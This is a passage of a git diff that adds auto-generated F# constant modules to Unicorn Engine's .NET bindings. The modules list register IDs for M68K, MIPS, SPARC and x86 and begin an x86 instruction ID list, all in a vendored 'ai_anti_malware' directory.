12 + let UC_M68K_REG_D4 = 13 + let UC_M68K_REG_D5 = 14 + let UC_M68K_REG_D6 = 15 + let UC_M68K_REG_D7 = 16 + let UC_M68K_REG_SR = 17 + let UC_M68K_REG_PC = 18 + let UC_M68K_REG_ENDING = 19 + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Mips.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Mips.fs new file mode 100644 index 0000000..2428202 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Mips.fs @@ -0,0 +1,205 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +namespace UnicornManaged.Const + +open System + +[] +module Mips = + + // MIPS registers + + let UC_MIPS_REG_INVALID = 0 + + // General purpose registers + let UC_MIPS_REG_PC = 1 + let UC_MIPS_REG_0 = 2 + let UC_MIPS_REG_1 = 3 + let UC_MIPS_REG_2 = 4 + let UC_MIPS_REG_3 = 5 + let UC_MIPS_REG_4 = 6 + let UC_MIPS_REG_5 = 7 + let UC_MIPS_REG_6 = 8 + let UC_MIPS_REG_7 = 9 + let UC_MIPS_REG_8 = 10 + let UC_MIPS_REG_9 = 11 + let UC_MIPS_REG_10 = 12 + let UC_MIPS_REG_11 = 13 + let UC_MIPS_REG_12 = 14 + let UC_MIPS_REG_13 = 15 + let UC_MIPS_REG_14 = 16 + let UC_MIPS_REG_15 = 17 + let UC_MIPS_REG_16 = 18 + let UC_MIPS_REG_17 = 19 + let UC_MIPS_REG_18 = 20 + let UC_MIPS_REG_19 = 21 + let UC_MIPS_REG_20 = 22 + let UC_MIPS_REG_21 = 23 + let UC_MIPS_REG_22 = 24 + let UC_MIPS_REG_23 = 25 + let UC_MIPS_REG_24 = 26 + let UC_MIPS_REG_25 = 27 + let UC_MIPS_REG_26 = 28 + let UC_MIPS_REG_27 = 29 + let UC_MIPS_REG_28 = 30 + let UC_MIPS_REG_29 = 31 + let UC_MIPS_REG_30 = 32 + let UC_MIPS_REG_31 = 33 + + // DSP registers + let UC_MIPS_REG_DSPCCOND = 34 + let UC_MIPS_REG_DSPCARRY = 35 + let UC_MIPS_REG_DSPEFI = 36 + let UC_MIPS_REG_DSPOUTFLAG = 37 + let UC_MIPS_REG_DSPOUTFLAG16_19 = 38 + let UC_MIPS_REG_DSPOUTFLAG20 = 39 + let UC_MIPS_REG_DSPOUTFLAG21 = 40 + let UC_MIPS_REG_DSPOUTFLAG22 = 41 + let UC_MIPS_REG_DSPOUTFLAG23 = 42 + let UC_MIPS_REG_DSPPOS = 43 + let UC_MIPS_REG_DSPSCOUNT = 44 + + // ACC registers + let UC_MIPS_REG_AC0 = 45 + let UC_MIPS_REG_AC1 = 46 + let UC_MIPS_REG_AC2 = 47 + let UC_MIPS_REG_AC3 = 48 + + // COP registers + let UC_MIPS_REG_CC0 = 49 + let UC_MIPS_REG_CC1 = 50 + let UC_MIPS_REG_CC2 = 51 + let UC_MIPS_REG_CC3 = 52 + let UC_MIPS_REG_CC4 = 53 + let UC_MIPS_REG_CC5 = 54 + let UC_MIPS_REG_CC6 = 55 + let UC_MIPS_REG_CC7 = 56 + + // FPU registers + let UC_MIPS_REG_F0 = 57 + let UC_MIPS_REG_F1 = 58 + let UC_MIPS_REG_F2 = 59 + let UC_MIPS_REG_F3 = 60 + let UC_MIPS_REG_F4 = 61 + let UC_MIPS_REG_F5 = 62 + let UC_MIPS_REG_F6 = 63 + let UC_MIPS_REG_F7 = 64 + let UC_MIPS_REG_F8 = 65 + let UC_MIPS_REG_F9 = 66 + let UC_MIPS_REG_F10 = 67 + let UC_MIPS_REG_F11 = 68 + let UC_MIPS_REG_F12 = 69 + let UC_MIPS_REG_F13 = 70 + let UC_MIPS_REG_F14 = 71 + let UC_MIPS_REG_F15 = 72 + let UC_MIPS_REG_F16 = 73 + let UC_MIPS_REG_F17 = 74 + let UC_MIPS_REG_F18 = 75 + let UC_MIPS_REG_F19 = 76 + let UC_MIPS_REG_F20 = 77 + let UC_MIPS_REG_F21 = 78 + let UC_MIPS_REG_F22 = 79 + let UC_MIPS_REG_F23 = 80 + let UC_MIPS_REG_F24 = 81 + let UC_MIPS_REG_F25 = 82 + let UC_MIPS_REG_F26 = 83 + let UC_MIPS_REG_F27 = 84 + let UC_MIPS_REG_F28 = 85 + let UC_MIPS_REG_F29 = 86 + let UC_MIPS_REG_F30 = 87 + let UC_MIPS_REG_F31 = 88 + let UC_MIPS_REG_FCC0 = 89 + let UC_MIPS_REG_FCC1 = 90 + let UC_MIPS_REG_FCC2 = 91 + let UC_MIPS_REG_FCC3 = 92 + let UC_MIPS_REG_FCC4 = 93 + let UC_MIPS_REG_FCC5 = 94 + let UC_MIPS_REG_FCC6 = 95 + let UC_MIPS_REG_FCC7 = 96 + + // AFPR128 + let UC_MIPS_REG_W0 = 97 + let UC_MIPS_REG_W1 = 98 + let UC_MIPS_REG_W2 = 99 + let UC_MIPS_REG_W3 = 100 + let UC_MIPS_REG_W4 = 101 + let UC_MIPS_REG_W5 = 102 + let UC_MIPS_REG_W6 = 103 + let UC_MIPS_REG_W7 = 104 + let UC_MIPS_REG_W8 = 105 + let UC_MIPS_REG_W9 = 106 + let UC_MIPS_REG_W10 = 107 + let UC_MIPS_REG_W11 = 108 + let UC_MIPS_REG_W12 = 109 + let UC_MIPS_REG_W13 = 110 + let UC_MIPS_REG_W14 = 111 + let UC_MIPS_REG_W15 = 112 + let UC_MIPS_REG_W16 = 113 + let UC_MIPS_REG_W17 = 114 + let UC_MIPS_REG_W18 = 115 + let UC_MIPS_REG_W19 = 116 + let UC_MIPS_REG_W20 = 117 + let UC_MIPS_REG_W21 = 118 + let UC_MIPS_REG_W22 = 119 + let UC_MIPS_REG_W23 = 120 + let UC_MIPS_REG_W24 = 121 + let UC_MIPS_REG_W25 = 122 + let UC_MIPS_REG_W26 = 123 + let UC_MIPS_REG_W27 = 124 + let UC_MIPS_REG_W28 = 125 + let UC_MIPS_REG_W29 = 126 + let UC_MIPS_REG_W30 = 127 + let UC_MIPS_REG_W31 = 128 + let UC_MIPS_REG_HI = 129 + let UC_MIPS_REG_LO = 130 + let UC_MIPS_REG_P0 = 131 + let UC_MIPS_REG_P1 = 132 + let UC_MIPS_REG_P2 = 133 + let UC_MIPS_REG_MPL0 = 134 + let UC_MIPS_REG_MPL1 = 135 + let UC_MIPS_REG_MPL2 = 136 + let UC_MIPS_REG_CP0_CONFIG3 = 137 + let UC_MIPS_REG_CP0_USERLOCAL = 138 + let UC_MIPS_REG_ENDING = 139 + let UC_MIPS_REG_ZERO = 2 + let UC_MIPS_REG_AT = 3 + let UC_MIPS_REG_V0 = 4 + let UC_MIPS_REG_V1 = 5 + let UC_MIPS_REG_A0 = 6 + let UC_MIPS_REG_A1 = 7 + let UC_MIPS_REG_A2 = 8 + let UC_MIPS_REG_A3 = 9 + let UC_MIPS_REG_T0 = 10 + let UC_MIPS_REG_T1 = 11 + let UC_MIPS_REG_T2 = 12 + let UC_MIPS_REG_T3 = 13 + let UC_MIPS_REG_T4 = 14 + let UC_MIPS_REG_T5 = 15 + let UC_MIPS_REG_T6 = 16 + let UC_MIPS_REG_T7 = 17 + let UC_MIPS_REG_S0 = 18 + let UC_MIPS_REG_S1 = 19 + let UC_MIPS_REG_S2 = 20 + let UC_MIPS_REG_S3 = 21 + let UC_MIPS_REG_S4 = 22 + let UC_MIPS_REG_S5 = 23 + let UC_MIPS_REG_S6 = 24 + let UC_MIPS_REG_S7 = 25 + let UC_MIPS_REG_T8 = 26 + let UC_MIPS_REG_T9 = 27 + let UC_MIPS_REG_K0 = 28 + let UC_MIPS_REG_K1 = 29 + let UC_MIPS_REG_GP = 30 + let UC_MIPS_REG_SP = 31 + let UC_MIPS_REG_FP = 32 + let UC_MIPS_REG_S8 = 32 + let UC_MIPS_REG_RA = 33 + let UC_MIPS_REG_HI0 = 45 + let UC_MIPS_REG_HI1 = 46 + let UC_MIPS_REG_HI2 = 47 + let UC_MIPS_REG_HI3 = 48 + let UC_MIPS_REG_LO0 = 45 + let UC_MIPS_REG_LO1 = 46 + let UC_MIPS_REG_LO2 = 47 + let UC_MIPS_REG_LO3 = 48 + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Sparc.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Sparc.fs new file mode 100644 index 0000000..9a91e1a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Sparc.fs @@ -0,0 +1,104 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +namespace UnicornManaged.Const + +open System + +[] +module Sparc = + + // SPARC registers + + let UC_SPARC_REG_INVALID = 0 + let UC_SPARC_REG_F0 = 1 + let UC_SPARC_REG_F1 = 2 + let UC_SPARC_REG_F2 = 3 + let UC_SPARC_REG_F3 = 4 + let UC_SPARC_REG_F4 = 5 + let UC_SPARC_REG_F5 = 6 + let UC_SPARC_REG_F6 = 7 + let UC_SPARC_REG_F7 = 8 + let UC_SPARC_REG_F8 = 9 + let UC_SPARC_REG_F9 = 10 + let UC_SPARC_REG_F10 = 11 + let UC_SPARC_REG_F11 = 12 + let UC_SPARC_REG_F12 = 13 + let UC_SPARC_REG_F13 = 14 + let UC_SPARC_REG_F14 = 15 + let UC_SPARC_REG_F15 = 16 + let UC_SPARC_REG_F16 = 17 + let UC_SPARC_REG_F17 = 18 + let UC_SPARC_REG_F18 = 19 + let UC_SPARC_REG_F19 = 20 + let UC_SPARC_REG_F20 = 21 + let UC_SPARC_REG_F21 = 22 + let UC_SPARC_REG_F22 = 23 + let UC_SPARC_REG_F23 = 24 + let UC_SPARC_REG_F24 = 25 + let UC_SPARC_REG_F25 = 26 + let UC_SPARC_REG_F26 = 27 + let UC_SPARC_REG_F27 = 28 + let UC_SPARC_REG_F28 = 29 + let UC_SPARC_REG_F29 = 30 + let UC_SPARC_REG_F30 = 31 + let UC_SPARC_REG_F31 = 32 + let UC_SPARC_REG_F32 = 33 + let UC_SPARC_REG_F34 = 34 + let UC_SPARC_REG_F36 = 35 + let UC_SPARC_REG_F38 = 36 + let UC_SPARC_REG_F40 = 37 + let UC_SPARC_REG_F42 = 38 + let UC_SPARC_REG_F44 = 39 + let UC_SPARC_REG_F46 = 40 + let UC_SPARC_REG_F48 = 41 + let UC_SPARC_REG_F50 = 42 + let UC_SPARC_REG_F52 = 43 + let UC_SPARC_REG_F54 = 44 + let UC_SPARC_REG_F56 = 45 + let UC_SPARC_REG_F58 = 46 + let UC_SPARC_REG_F60 = 47 + let UC_SPARC_REG_F62 = 48 + let UC_SPARC_REG_FCC0 = 49 + let UC_SPARC_REG_FCC1 = 50 + let UC_SPARC_REG_FCC2 = 51 + let UC_SPARC_REG_FCC3 = 52 + let UC_SPARC_REG_G0 = 53 + let UC_SPARC_REG_G1 = 54 + let UC_SPARC_REG_G2 = 55 + let UC_SPARC_REG_G3 = 56 + let UC_SPARC_REG_G4 = 57 + let UC_SPARC_REG_G5 = 58 + let UC_SPARC_REG_G6 = 59 + let UC_SPARC_REG_G7 = 60 + let UC_SPARC_REG_I0 = 61 + let UC_SPARC_REG_I1 = 62 + let UC_SPARC_REG_I2 = 63 + let UC_SPARC_REG_I3 = 64 + let UC_SPARC_REG_I4 = 65 + let UC_SPARC_REG_I5 = 66 + let UC_SPARC_REG_FP = 67 + let UC_SPARC_REG_I7 = 68 + let UC_SPARC_REG_ICC = 69 + let UC_SPARC_REG_L0 = 70 + let UC_SPARC_REG_L1 = 71 + let UC_SPARC_REG_L2 = 72 + let UC_SPARC_REG_L3 = 73 + let UC_SPARC_REG_L4 = 74 + let UC_SPARC_REG_L5 = 75 + let UC_SPARC_REG_L6 = 76 + let UC_SPARC_REG_L7 = 77 + let UC_SPARC_REG_O0 = 78 + let UC_SPARC_REG_O1 = 79 + let UC_SPARC_REG_O2 = 80 + let UC_SPARC_REG_O3 = 81 + let UC_SPARC_REG_O4 = 82 + let UC_SPARC_REG_O5 = 83 + let UC_SPARC_REG_SP = 84 + let UC_SPARC_REG_O7 = 85 + let UC_SPARC_REG_Y = 86 + let UC_SPARC_REG_XCC = 87 + let UC_SPARC_REG_PC = 88 + let UC_SPARC_REG_ENDING = 89 + let UC_SPARC_REG_O6 = 84 + let UC_SPARC_REG_I6 = 67 + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/X86.fs b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/X86.fs new file mode 100644 index 0000000..ad16a84 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/X86.fs @@ -0,0 +1,1607 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +namespace UnicornManaged.Const + +open System + +[] +module X86 = + + // X86 registers + + let UC_X86_REG_INVALID = 0 + let UC_X86_REG_AH = 1 + let UC_X86_REG_AL = 2 + let UC_X86_REG_AX = 3 + let UC_X86_REG_BH = 4 + let UC_X86_REG_BL = 5 + let UC_X86_REG_BP = 6 + let UC_X86_REG_BPL = 7 + let UC_X86_REG_BX = 8 + let UC_X86_REG_CH = 9 + let UC_X86_REG_CL = 10 + let UC_X86_REG_CS = 11 + let UC_X86_REG_CX = 12 + let UC_X86_REG_DH = 13 + let UC_X86_REG_DI = 14 + let UC_X86_REG_DIL = 15 + let UC_X86_REG_DL = 16 + let UC_X86_REG_DS = 17 + let UC_X86_REG_DX = 18 + let UC_X86_REG_EAX = 19 + let UC_X86_REG_EBP = 20 + let UC_X86_REG_EBX = 21 + let UC_X86_REG_ECX = 22 + let UC_X86_REG_EDI = 23 + let UC_X86_REG_EDX = 24 + let UC_X86_REG_EFLAGS = 25 + let UC_X86_REG_EIP = 26 + let UC_X86_REG_EIZ = 27 + let UC_X86_REG_ES = 28 + let UC_X86_REG_ESI = 29 + let UC_X86_REG_ESP = 30 + let UC_X86_REG_FPSW = 31 + let UC_X86_REG_FS = 32 + let UC_X86_REG_GS = 33 + let UC_X86_REG_IP = 34 + let UC_X86_REG_RAX = 35 + let UC_X86_REG_RBP = 36 + let UC_X86_REG_RBX = 37 + let UC_X86_REG_RCX = 38 + let UC_X86_REG_RDI = 39 + let UC_X86_REG_RDX = 40 + let UC_X86_REG_RIP = 41 + let UC_X86_REG_RIZ = 42 + let UC_X86_REG_RSI = 43 + let UC_X86_REG_RSP = 44 + let UC_X86_REG_SI = 45 + let UC_X86_REG_SIL = 46 + let UC_X86_REG_SP = 47 + let UC_X86_REG_SPL = 48 + let UC_X86_REG_SS = 49 + let UC_X86_REG_CR0 = 50 + let UC_X86_REG_CR1 = 51 + let UC_X86_REG_CR2 = 52 + let UC_X86_REG_CR3 = 53 + let UC_X86_REG_CR4 = 54 + let UC_X86_REG_CR5 = 55 + let UC_X86_REG_CR6 = 56 + let UC_X86_REG_CR7 = 57 + let UC_X86_REG_CR8 = 58 + let UC_X86_REG_CR9 = 59 + let UC_X86_REG_CR10 = 60 + let UC_X86_REG_CR11 = 61 + let UC_X86_REG_CR12 = 62 + let UC_X86_REG_CR13 = 63 + let UC_X86_REG_CR14 = 64 + let UC_X86_REG_CR15 = 65 + let UC_X86_REG_DR0 = 66 + let UC_X86_REG_DR1 = 67 + let UC_X86_REG_DR2 = 68 + let UC_X86_REG_DR3 = 69 + let UC_X86_REG_DR4 = 70 + let UC_X86_REG_DR5 = 71 + let UC_X86_REG_DR6 = 72 + let UC_X86_REG_DR7 = 73 + let UC_X86_REG_DR8 = 74 + let UC_X86_REG_DR9 = 75 + let UC_X86_REG_DR10 = 76 + let UC_X86_REG_DR11 = 77 + let UC_X86_REG_DR12 = 78 + let UC_X86_REG_DR13 = 79 + let UC_X86_REG_DR14 = 80 + let UC_X86_REG_DR15 = 81 + let UC_X86_REG_FP0 = 82 + let UC_X86_REG_FP1 = 83 + let UC_X86_REG_FP2 = 84 + let UC_X86_REG_FP3 = 85 + let UC_X86_REG_FP4 = 86 + let UC_X86_REG_FP5 = 87 + let UC_X86_REG_FP6 = 88 + let UC_X86_REG_FP7 = 89 + let UC_X86_REG_K0 = 90 + let UC_X86_REG_K1 = 91 + let UC_X86_REG_K2 = 92 + let UC_X86_REG_K3 = 93 + let UC_X86_REG_K4 = 94 + let UC_X86_REG_K5 = 95 + let UC_X86_REG_K6 = 96 + let UC_X86_REG_K7 = 97 + let UC_X86_REG_MM0 = 98 + let UC_X86_REG_MM1 = 99 + let UC_X86_REG_MM2 = 100 + let UC_X86_REG_MM3 = 101 + let UC_X86_REG_MM4 = 102 + let UC_X86_REG_MM5 = 103 + let UC_X86_REG_MM6 = 104 + let UC_X86_REG_MM7 = 105 + let UC_X86_REG_R8 = 106 + let UC_X86_REG_R9 = 107 + let UC_X86_REG_R10 = 108 + let UC_X86_REG_R11 = 109 + let UC_X86_REG_R12 = 110 + let UC_X86_REG_R13 = 111 + let UC_X86_REG_R14 = 112 + let UC_X86_REG_R15 = 113 + let UC_X86_REG_ST0 = 114 + let UC_X86_REG_ST1 = 115 + let UC_X86_REG_ST2 = 116 + let UC_X86_REG_ST3 = 117 + let UC_X86_REG_ST4 = 118 + let UC_X86_REG_ST5 = 119 + let UC_X86_REG_ST6 = 120 + let UC_X86_REG_ST7 = 121 + let UC_X86_REG_XMM0 = 122 + let UC_X86_REG_XMM1 = 123 + let UC_X86_REG_XMM2 = 124 + let UC_X86_REG_XMM3 = 125 + let UC_X86_REG_XMM4 = 126 + let UC_X86_REG_XMM5 = 127 + let UC_X86_REG_XMM6 = 128 + let UC_X86_REG_XMM7 = 129 + let UC_X86_REG_XMM8 = 130 + let UC_X86_REG_XMM9 = 131 + let UC_X86_REG_XMM10 = 132 + let UC_X86_REG_XMM11 = 133 + let UC_X86_REG_XMM12 = 134 + let UC_X86_REG_XMM13 = 135 + let UC_X86_REG_XMM14 = 136 + let UC_X86_REG_XMM15 = 137 + let UC_X86_REG_XMM16 = 138 + let UC_X86_REG_XMM17 = 139 + let UC_X86_REG_XMM18 = 140 + let UC_X86_REG_XMM19 = 141 + let UC_X86_REG_XMM20 = 142 + let UC_X86_REG_XMM21 = 143 + let UC_X86_REG_XMM22 = 144 + let UC_X86_REG_XMM23 = 145 + let UC_X86_REG_XMM24 = 146 + let UC_X86_REG_XMM25 = 147 + let UC_X86_REG_XMM26 = 148 + let UC_X86_REG_XMM27 = 149 + let UC_X86_REG_XMM28 = 150 + let UC_X86_REG_XMM29 = 151 + let UC_X86_REG_XMM30 = 152 + let UC_X86_REG_XMM31 = 153 + let UC_X86_REG_YMM0 = 154 + let UC_X86_REG_YMM1 = 155 + let UC_X86_REG_YMM2 = 156 + let UC_X86_REG_YMM3 = 157 + let UC_X86_REG_YMM4 = 158 + let UC_X86_REG_YMM5 = 159 + let UC_X86_REG_YMM6 = 160 + let UC_X86_REG_YMM7 = 161 + let UC_X86_REG_YMM8 = 162 + let UC_X86_REG_YMM9 = 163 + let UC_X86_REG_YMM10 = 164 + let UC_X86_REG_YMM11 = 165 + let UC_X86_REG_YMM12 = 166 + let UC_X86_REG_YMM13 = 167 + let UC_X86_REG_YMM14 = 168 + let UC_X86_REG_YMM15 = 169 + let UC_X86_REG_YMM16 = 170 + let UC_X86_REG_YMM17 = 171 + let UC_X86_REG_YMM18 = 172 + let UC_X86_REG_YMM19 = 173 + let UC_X86_REG_YMM20 = 174 + let UC_X86_REG_YMM21 = 175 + let UC_X86_REG_YMM22 = 176 + let UC_X86_REG_YMM23 = 177 + let UC_X86_REG_YMM24 = 178 + let UC_X86_REG_YMM25 = 179 + let UC_X86_REG_YMM26 = 180 + let UC_X86_REG_YMM27 = 181 + let UC_X86_REG_YMM28 = 182 + let UC_X86_REG_YMM29 = 183 + let UC_X86_REG_YMM30 = 184 + let UC_X86_REG_YMM31 = 185 + let UC_X86_REG_ZMM0 = 186 + let UC_X86_REG_ZMM1 = 187 + let UC_X86_REG_ZMM2 = 188 + let UC_X86_REG_ZMM3 = 189 + let UC_X86_REG_ZMM4 = 190 + let UC_X86_REG_ZMM5 = 191 + let UC_X86_REG_ZMM6 = 192 + let UC_X86_REG_ZMM7 = 193 + let UC_X86_REG_ZMM8 = 194 + let UC_X86_REG_ZMM9 = 195 + let UC_X86_REG_ZMM10 = 196 + let UC_X86_REG_ZMM11 = 197 + let UC_X86_REG_ZMM12 = 198 + let UC_X86_REG_ZMM13 = 199 + let UC_X86_REG_ZMM14 = 200 + let UC_X86_REG_ZMM15 = 201 + let UC_X86_REG_ZMM16 = 202 + let UC_X86_REG_ZMM17 = 203 + let UC_X86_REG_ZMM18 = 204 + let UC_X86_REG_ZMM19 = 205 + let UC_X86_REG_ZMM20 = 206 + let UC_X86_REG_ZMM21 = 207 + let UC_X86_REG_ZMM22 = 208 + let UC_X86_REG_ZMM23 = 209 + let UC_X86_REG_ZMM24 = 210 + let UC_X86_REG_ZMM25 = 211 + let UC_X86_REG_ZMM26 = 212 + let UC_X86_REG_ZMM27 = 213 + let UC_X86_REG_ZMM28 = 214 + let UC_X86_REG_ZMM29 = 215 + let UC_X86_REG_ZMM30 = 216 + let UC_X86_REG_ZMM31 = 217 + let UC_X86_REG_R8B = 218 + let UC_X86_REG_R9B = 219 + let UC_X86_REG_R10B = 220 + let UC_X86_REG_R11B = 221 + let UC_X86_REG_R12B = 222 + let UC_X86_REG_R13B = 223 + let UC_X86_REG_R14B = 224 + let UC_X86_REG_R15B = 225 + let UC_X86_REG_R8D = 226 + let UC_X86_REG_R9D = 227 + let UC_X86_REG_R10D = 228 + let UC_X86_REG_R11D = 229 + let UC_X86_REG_R12D = 230 + let UC_X86_REG_R13D = 231 + let UC_X86_REG_R14D = 232 + let UC_X86_REG_R15D = 233 + let UC_X86_REG_R8W = 234 + let UC_X86_REG_R9W = 235 + let UC_X86_REG_R10W = 236 + let UC_X86_REG_R11W = 237 + let UC_X86_REG_R12W = 238 + let UC_X86_REG_R13W = 239 + let UC_X86_REG_R14W = 240 + let UC_X86_REG_R15W = 241 + let UC_X86_REG_IDTR = 242 + let UC_X86_REG_GDTR = 243 + let UC_X86_REG_LDTR = 244 + let UC_X86_REG_TR = 245 + let UC_X86_REG_FPCW = 246 + let UC_X86_REG_FPTAG = 247 + let UC_X86_REG_MSR = 248 + let UC_X86_REG_MXCSR = 249 + let UC_X86_REG_FS_BASE = 250 + let UC_X86_REG_GS_BASE = 251 + let UC_X86_REG_ENDING = 252 + + // X86 instructions + + let UC_X86_INS_INVALID = 0 + let UC_X86_INS_AAA = 1 + let UC_X86_INS_AAD = 2 + let UC_X86_INS_AAM = 3 + let UC_X86_INS_AAS = 4 + let UC_X86_INS_FABS = 5 + let UC_X86_INS_ADC = 6 + let UC_X86_INS_ADCX = 7 + let UC_X86_INS_ADD = 8 + let UC_X86_INS_ADDPD = 9 + let UC_X86_INS_ADDPS = 10 + let UC_X86_INS_ADDSD = 11 + let UC_X86_INS_ADDSS = 12 + let UC_X86_INS_ADDSUBPD = 13 + let UC_X86_INS_ADDSUBPS = 14 + let UC_X86_INS_FADD = 15 + let UC_X86_INS_FIADD = 16 + let UC_X86_INS_FADDP = 17 + let UC_X86_INS_ADOX = 18 + let UC_X86_INS_AESDECLAST = 19 + let UC_X86_INS_AESDEC = 20 + let UC_X86_INS_AESENCLAST = 21 + let UC_X86_INS_AESENC = 22 + let UC_X86_INS_AESIMC = 23 + let UC_X86_INS_AESKEYGENASSIST = 24 + let UC_X86_INS_AND = 25 + let UC_X86_INS_ANDN = 26 + let UC_X86_INS_ANDNPD = 27 + let UC_X86_INS_ANDNPS = 28 + let UC_X86_INS_ANDPD = 29 + let UC_X86_INS_ANDPS = 30 + let UC_X86_INS_ARPL = 31 + let UC_X86_INS_BEXTR = 32 + let UC_X86_INS_BLCFILL = 33 + let UC_X86_INS_BLCI = 34 + let UC_X86_INS_BLCIC = 35 + let UC_X86_INS_BLCMSK = 36 + let UC_X86_INS_BLCS = 37 + let UC_X86_INS_BLENDPD = 38 + let UC_X86_INS_BLENDPS = 39 + let UC_X86_INS_BLENDVPD = 40 + let UC_X86_INS_BLENDVPS = 41 + let UC_X86_INS_BLSFILL = 42 + let UC_X86_INS_BLSI = 43 + let UC_X86_INS_BLSIC = 44 + let UC_X86_INS_BLSMSK = 45 + let UC_X86_INS_BLSR = 46 + let UC_X86_INS_BOUND = 47 + let UC_X86_INS_BSF = 48 + let UC_X86_INS_BSR = 49 + let UC_X86_INS_BSWAP = 50 + let UC_X86_INS_BT = 51 + let UC_X86_INS_BTC = 52 + let UC_X86_INS_BTR = 53 + let UC_X86_INS_BTS = 54 + let UC_X86_INS_BZHI = 55 + let UC_X86_INS_CALL = 56 + let UC_X86_INS_CBW = 57 + let UC_X86_INS_CDQ = 58 + let UC_X86_INS_CDQE = 59 + let UC_X86_INS_FCHS = 60 + let UC_X86_INS_CLAC = 61 + let UC_X86_INS_CLC = 62 + let UC_X86_INS_CLD = 63 + let UC_X86_INS_CLFLUSH = 64 + let UC_X86_INS_CLFLUSHOPT = 65 + let UC_X86_INS_CLGI = 66 + let UC_X86_INS_CLI = 67 + let UC_X86_INS_CLTS = 68 + let UC_X86_INS_CLWB = 69 + let UC_X86_INS_CMC = 70 + let UC_X86_INS_CMOVA = 71 + let UC_X86_INS_CMOVAE = 72 + let UC_X86_INS_CMOVB = 73 + let UC_X86_INS_CMOVBE = 74 + let UC_X86_INS_FCMOVBE = 75 + let UC_X86_INS_FCMOVB = 76 + let UC_X86_INS_CMOVE = 77 + let UC_X86_INS_FCMOVE = 78 + let UC_X86_INS_CMOVG = 79 + let UC_X86_INS_CMOVGE = 80 + let UC_X86_INS_CMOVL = 81 + let UC_X86_INS_CMOVLE = 82 + let UC_X86_INS_FCMOVNBE = 83 + let UC_X86_INS_FCMOVNB = 84 + let UC_X86_INS_CMOVNE = 85 + let UC_X86_INS_FCMOVNE = 86 + let UC_X86_INS_CMOVNO = 87 + let UC_X86_INS_CMOVNP = 88 + let UC_X86_INS_FCMOVNU = 89 + let UC_X86_INS_CMOVNS = 90 + let UC_X86_INS_CMOVO = 91 + let UC_X86_INS_CMOVP = 92 + let UC_X86_INS_FCMOVU = 93 + let UC_X86_INS_CMOVS = 94 + let UC_X86_INS_CMP = 95 + let UC_X86_INS_CMPPD = 96 + let UC_X86_INS_CMPPS = 97 + let UC_X86_INS_CMPSB = 98 + let UC_X86_INS_CMPSD = 99 + let UC_X86_INS_CMPSQ = 100 + let UC_X86_INS_CMPSS = 101 + let UC_X86_INS_CMPSW = 102 + let UC_X86_INS_CMPXCHG16B = 103 + let UC_X86_INS_CMPXCHG = 104 + let UC_X86_INS_CMPXCHG8B = 105 + let UC_X86_INS_COMISD = 106 + let UC_X86_INS_COMISS = 107 + let UC_X86_INS_FCOMP = 108 + let UC_X86_INS_FCOMPI = 109 + let UC_X86_INS_FCOMI = 110 + let UC_X86_INS_FCOM = 111 + let UC_X86_INS_FCOS = 112 + let UC_X86_INS_CPUID = 113 + let UC_X86_INS_CQO = 114 + let UC_X86_INS_CRC32 = 115 + let UC_X86_INS_CVTDQ2PD = 116 + let UC_X86_INS_CVTDQ2PS = 117 + let UC_X86_INS_CVTPD2DQ = 118 + let UC_X86_INS_CVTPD2PS = 119 + let UC_X86_INS_CVTPS2DQ = 120 + let UC_X86_INS_CVTPS2PD = 121 + let UC_X86_INS_CVTSD2SI = 122 + let UC_X86_INS_CVTSD2SS = 123 + let UC_X86_INS_CVTSI2SD = 124 + let UC_X86_INS_CVTSI2SS = 125 + let UC_X86_INS_CVTSS2SD = 126 + let UC_X86_INS_CVTSS2SI = 127 + let UC_X86_INS_CVTTPD2DQ = 128 + let UC_X86_INS_CVTTPS2DQ = 129 + let UC_X86_INS_CVTTSD2SI = 130 + let UC_X86_INS_CVTTSS2SI = 131 + let UC_X86_INS_CWD = 132 + let UC_X86_INS_CWDE = 133 + let UC_X86_INS_DAA = 134 + let UC_X86_INS_DAS = 135 + let UC_X86_INS_DATA16 = 136 + let UC_X86_INS_DEC = 137 + let UC_X86_INS_DIV = 138 + let UC_X86_INS_DIVPD = 139 + let UC_X86_INS_DIVPS = 140 + let UC_X86_INS_FDIVR = 141 + let UC_X86_INS_FIDIVR = 142 + let UC_X86_INS_FDIVRP = 143 + let UC_X86_INS_DIVSD = 144 + let UC_X86_INS_DIVSS = 145 + let UC_X86_INS_FDIV = 146 + let UC_X86_INS_FIDIV = 147 + let UC_X86_INS_FDIVP = 148 + let UC_X86_INS_DPPD = 149 + let UC_X86_INS_DPPS = 150 + let UC_X86_INS_RET = 151 + let UC_X86_INS_ENCLS = 152 + let UC_X86_INS_ENCLU = 153 + let UC_X86_INS_ENTER = 154 + let UC_X86_INS_EXTRACTPS = 155 + let UC_X86_INS_EXTRQ = 156 + let UC_X86_INS_F2XM1 = 157 + let UC_X86_INS_LCALL = 158 + let UC_X86_INS_LJMP = 159 + let UC_X86_INS_FBLD = 160 + let UC_X86_INS_FBSTP = 161 + let UC_X86_INS_FCOMPP = 162 + let UC_X86_INS_FDECSTP = 163 + let UC_X86_INS_FEMMS = 164 + let UC_X86_INS_FFREE = 165 + let UC_X86_INS_FICOM = 166 + let UC_X86_INS_FICOMP = 167 + let UC_X86_INS_FINCSTP = 168 + let UC_X86_INS_FLDCW = 169 + let UC_X86_INS_FLDENV = 170 + let UC_X86_INS_FLDL2E = 171 + let UC_X86_INS_FLDL2T = 172 + let UC_X86_INS_FLDLG2 = 173 + let UC_X86_INS_FLDLN2 = 174 + let UC_X86_INS_FLDPI = 175 + let UC_X86_INS_FNCLEX = 176 + let 